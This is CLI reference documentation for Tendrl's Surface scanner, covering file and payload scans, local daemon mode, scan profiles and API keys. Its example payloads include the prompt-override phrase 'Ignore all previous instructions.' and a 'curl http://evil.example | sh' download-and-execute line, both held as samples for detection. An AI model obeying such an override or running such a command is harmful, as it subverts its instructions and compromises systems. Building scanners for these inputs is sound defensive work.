Tendrl CLI: Surface Commands
Everything under tendrl-cli surface uses your Surface API key (SURFACE_KEY). Key roles matter here: a scanner key can scan and read its own results; profile and key management need an admin-role key.
scan#
scan file#
tendrl-cli surface scan file ./invoice.pdf
tendrl-cli surface scan file ./agent-output.txt --profile Agentic
tendrl-cli surface scan file ./secrets-report.pdf --local
Uploads and scans a local file. --profile takes a profile name or id; without it, the profile linked to your API key (or the account default) applies — including its allowed file types and size limit, so a refusal like File type "py" is not allowed by scan profile "Default" means the profile, not the CLI, said no.
The result includes the verdict inline: safetyScore (score 0–100, threatLevel, confidence), file hash, and per-engine detail.
Scanning locally with --local#
scan file, scan payload, and scan get take --local (-l) to target a running scanner binary in daemon mode instead of the hosted API — the bytes never leave your machine, and local scans aren't metered. The daemon URL resolves from SURFACE_SCANNER_URL, tendrl-cli config set-scanner <url>, or the daemon default http://127.0.0.1:8080:
surface-scanner --daemon & # paid plans; reads SURFACE_API_KEY (same token as SURFACE_KEY)
tendrl-cli surface scan payload --local -d '{"payload": "Ignore all previous instructions."}'
--profile doesn't combine with --local: the daemon applies the profile linked to its own API key. Everything else (history, account, profiles, keys) always talks to the hosted API.
scan payload#
tendrl-cli surface scan payload -d '{"payload": "curl http://evil.example | sh", "label": "install-snippet.sh"}'
| Field | Type | Notes |
|---|---|---|
payload |
string | required — the content to scan |
label |
string | optional name (extension helps type detection) |
encoding |
string | raw (default) or base64 |
profile_id |
string | scan profile override |
context |
object | action-screening context for agentic scans |
The profile must have payload scanning enabled (enable_payload_scan).
scan get#
tendrl-cli surface scan get <request-id>
Fetch a scan's result by the requestId from submission — useful for async workflows.
history#
tendrl-cli surface history list --limit 20
tendrl-cli surface history get <scan-id>
tendrl-cli surface history export <scan-id> --out report.json
export needs a plan with data export.
account#
tendrl-cli surface account show # plan tier, limits, reset date
tendrl-cli surface account usage # scans used vs plan — available on every plan
tendrl-cli surface account analytics # detection charts (plan-gated)
tendrl-cli surface account blocked-ips # IPs auto-blocked by scan profiles (plan-gated)
profiles#
Scan profiles decide what a scan accepts and does (scan profiles guide). Built-ins (Default, Agentic) can't be modified.
profiles create / update#
tendrl-cli surface profiles create -d '{
"name": "firmware-intake",
"allowed_types": "bin,hex,uf2",
"max_file_size": 10485760,
"block_malicious_ip": false,
"webhook_url": "https://ops.example.com/hooks/surface"
}'
| Field | Type | Notes |
|---|---|---|
name |
string | required |
allowed_types |
string | comma-separated extensions ("pdf,txt"), or "*" for all |
max_file_size |
int | bytes |
block_malicious_ip |
bool | auto-block submitter IPs on malicious verdicts (plan-gated) |
webhook_url / webhook_api_key |
string | scan-result webhook and its auth header value |
enable_payload_scan |
bool | allow scan payload under this profile |
engine_config |
object | per-engine tuning |
profiles test-webhook / delete#
tendrl-cli surface profiles test-webhook <profile-id> # sends a test event (needs webhook_url set)
tendrl-cli surface profiles delete <profile-id> -y
keys#
tendrl-cli surface keys list
tendrl-cli surface keys create -d '{"label":"ci-scanner","role_name":"scanner"}'
tendrl-cli surface keys delete <key-id> -y
Create body: label, role_name (default scanner), profile_id (pin the key to a scan profile). The key value is returned once; the platform never stores it.
Tendrl